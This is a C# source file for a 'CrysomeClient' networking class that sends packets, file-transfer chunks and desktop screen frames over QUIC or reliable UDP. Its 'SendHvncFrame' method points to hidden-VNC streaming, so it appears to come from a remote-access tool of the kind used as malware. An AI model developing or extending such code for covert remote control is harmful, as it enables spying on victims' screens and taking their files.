281 lines
5.4 KiB
C#
281 lines
5.4 KiB
C#
using System;
|
|
using System.Collections.Concurrent;
|
|
using System.IO;
|
|
using System.Net;
|
|
using System.Threading;
|
|
using Crysome.Common.Network.FileTransfer;
|
|
using Crysome.Common.Network.Packets;
|
|
using Crysome.Common.Network.Transport;
|
|
|
|
namespace Crysome.Common.Network;
|
|
|
|
public class CrysomeClient
|
|
{
|
|
private ITransportSession _transport;
|
|
|
|
private RudpChannel _rudp;
|
|
|
|
private CancellationTokenSource _readCts = new CancellationTokenSource();
|
|
|
|
private readonly BlockingCollection<IPacket> _inQueue = new BlockingCollection<IPacket>(2048);
|
|
|
|
private bool _serverSide;
|
|
|
|
public bool IsConnected
|
|
{
|
|
get
|
|
{
|
|
if (_transport != null)
|
|
{
|
|
if (_transport.IsAlive)
|
|
{
|
|
return !_readCts.IsCancellationRequested;
|
|
}
|
|
return false;
|
|
}
|
|
if (_rudp != null && _rudp.IsAlive)
|
|
{
|
|
return !_readCts.IsCancellationRequested;
|
|
}
|
|
return false;
|
|
}
|
|
}
|
|
|
|
public IPEndPoint RemoteAddress
|
|
{
|
|
get
|
|
{
|
|
object obj = _transport?.RemoteEndPoint;
|
|
if (obj == null)
|
|
{
|
|
RudpChannel rudp = _rudp;
|
|
if (rudp == null)
|
|
{
|
|
return null;
|
|
}
|
|
obj = rudp.Remote;
|
|
}
|
|
return (IPEndPoint)obj;
|
|
}
|
|
}
|
|
|
|
public IPEndPoint LocalAddress => _transport?.LocalEndPoint;
|
|
|
|
public int Port => LocalAddress?.Port ?? 0;
|
|
|
|
public double RttMs => _transport?.RttMs ?? _rudp?.RttMs ?? 0.0;
|
|
|
|
public double LossRate => _transport?.LossRate ?? _rudp?.LossRate ?? 0.0;
|
|
|
|
public long BytesSent => _transport?.BytesSent ?? _rudp?.BytesSent ?? 0;
|
|
|
|
public long BytesRecv => _transport?.BytesRecv ?? _rudp?.BytesRecv ?? 0;
|
|
|
|
public uint UdpSessionToken { get; set; }
|
|
|
|
public IPEndPoint UdpRemoteEndPoint { get; set; }
|
|
|
|
public uint UdpLastFrameSeq { get; set; }
|
|
|
|
public event EventHandler PacketReceived;
|
|
|
|
public event EventHandler PacketSent;
|
|
|
|
public CrysomeClient(ITransportSession transport, bool serverSide)
|
|
{
|
|
AttachTransport(transport, serverSide);
|
|
}
|
|
|
|
public CrysomeClient(RudpChannel channel)
|
|
{
|
|
AttachRudp(channel);
|
|
}
|
|
|
|
public CrysomeClient()
|
|
{
|
|
}
|
|
|
|
public void Connect(IPAddress address, int port)
|
|
{
|
|
QuicTransportSession result = QuicTransportSession.ConnectClientAsync(new IPEndPoint(address, port), CancellationToken.None).AsTask().GetAwaiter()
|
|
.GetResult();
|
|
AttachTransport(result, serverSide: false);
|
|
}
|
|
|
|
private void AttachTransport(ITransportSession transport, bool serverSide)
|
|
{
|
|
_transport = transport;
|
|
_serverSide = serverSide;
|
|
_transport.ReliableReceived += OnReliableData;
|
|
_transport.UnreliableFrameReceived += OnUnreliableControl;
|
|
_transport.Disconnected += OnDisconnected;
|
|
}
|
|
|
|
private void AttachRudp(RudpChannel channel)
|
|
{
|
|
_rudp = channel;
|
|
_rudp.ReliableReceived += OnReliableData;
|
|
_rudp.UnreliableFrameReceived += OnUnreliableControl;
|
|
_rudp.Disconnected += OnDisconnected;
|
|
}
|
|
|
|
public RudpChannel GetRudpChannel()
|
|
{
|
|
return _rudp;
|
|
}
|
|
|
|
public void SendPacket(IPacket packet)
|
|
{
|
|
byte[] array = PacketSerializer.Serialize(packet);
|
|
if (_transport != null)
|
|
{
|
|
if (_serverSide && packet is FtChunkPacket)
|
|
{
|
|
_transport.SendReliableBulk(array);
|
|
}
|
|
else
|
|
{
|
|
_transport.SendReliable(array);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
_rudp.SendReliable(array);
|
|
}
|
|
this.PacketSent?.Invoke(this, EventArgs.Empty);
|
|
}
|
|
|
|
public void SendPacketUnreliable(IPacket packet)
|
|
{
|
|
byte[] array = PacketSerializer.Serialize(packet);
|
|
if (_transport != null)
|
|
{
|
|
_transport.SendPacketUnreliable(array);
|
|
}
|
|
else
|
|
{
|
|
_rudp.SendUnreliable(0, array);
|
|
}
|
|
this.PacketSent?.Invoke(this, EventArgs.Empty);
|
|
}
|
|
|
|
public void SendDesktopScreenFrame(byte[] jpegData)
|
|
{
|
|
if (jpegData != null && jpegData.Length != 0)
|
|
{
|
|
if (_transport != null)
|
|
{
|
|
_transport.SendUnreliableScreen(36, jpegData);
|
|
}
|
|
else
|
|
{
|
|
_rudp.SendUnreliable(36, jpegData);
|
|
}
|
|
this.PacketSent?.Invoke(this, EventArgs.Empty);
|
|
}
|
|
}
|
|
|
|
public void SendHvncFrame(byte[] jpegData)
|
|
{
|
|
if (jpegData != null && jpegData.Length != 0)
|
|
{
|
|
if (_transport != null)
|
|
{
|
|
_transport.SendUnreliableScreen(46, jpegData);
|
|
}
|
|
else
|
|
{
|
|
_rudp.SendUnreliable(46, jpegData);
|
|
}
|
|
this.PacketSent?.Invoke(this, EventArgs.Empty);
|
|
}
|
|
}
|
|
|
|
public IPacket ReadPacket()
|
|
{
|
|
try
|
|
{
|
|
IPacket result = _inQueue.Take(_readCts.Token);
|
|
this.PacketReceived?.Invoke(this, EventArgs.Empty);
|
|
return result;
|
|
}
|
|
catch (OperationCanceledException)
|
|
{
|
|
throw new IOException("Connection closed");
|
|
}
|
|
}
|
|
|
|
public void Disconnect()
|
|
{
|
|
_readCts.Cancel();
|
|
try
|
|
{
|
|
_transport?.SendFin();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
try
|
|
{
|
|
_transport?.Dispose();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
try
|
|
{
|
|
_rudp?.SendFin();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
try
|
|
{
|
|
_rudp?.Dispose();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private void OnReliableData(byte[] payload)
|
|
{
|
|
try
|
|
{
|
|
IPacket packet = PacketSerializer.Deserialize(payload);
|
|
if (packet != null && !_inQueue.IsAddingCompleted)
|
|
{
|
|
_inQueue.TryAdd(packet, 100);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private void OnUnreliableControl(byte typeId, byte[] data)
|
|
{
|
|
if (typeId != 0 || data == null)
|
|
{
|
|
return;
|
|
}
|
|
try
|
|
{
|
|
IPacket packet = PacketSerializer.Deserialize(data);
|
|
if (packet != null && !_inQueue.IsAddingCompleted)
|
|
{
|
|
_inQueue.TryAdd(packet, 20);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private void OnDisconnected()
|
|
{
|
|
_readCts.Cancel();
|
|
_inQueue.CompleteAdding();
|
|
}
|
|
}
|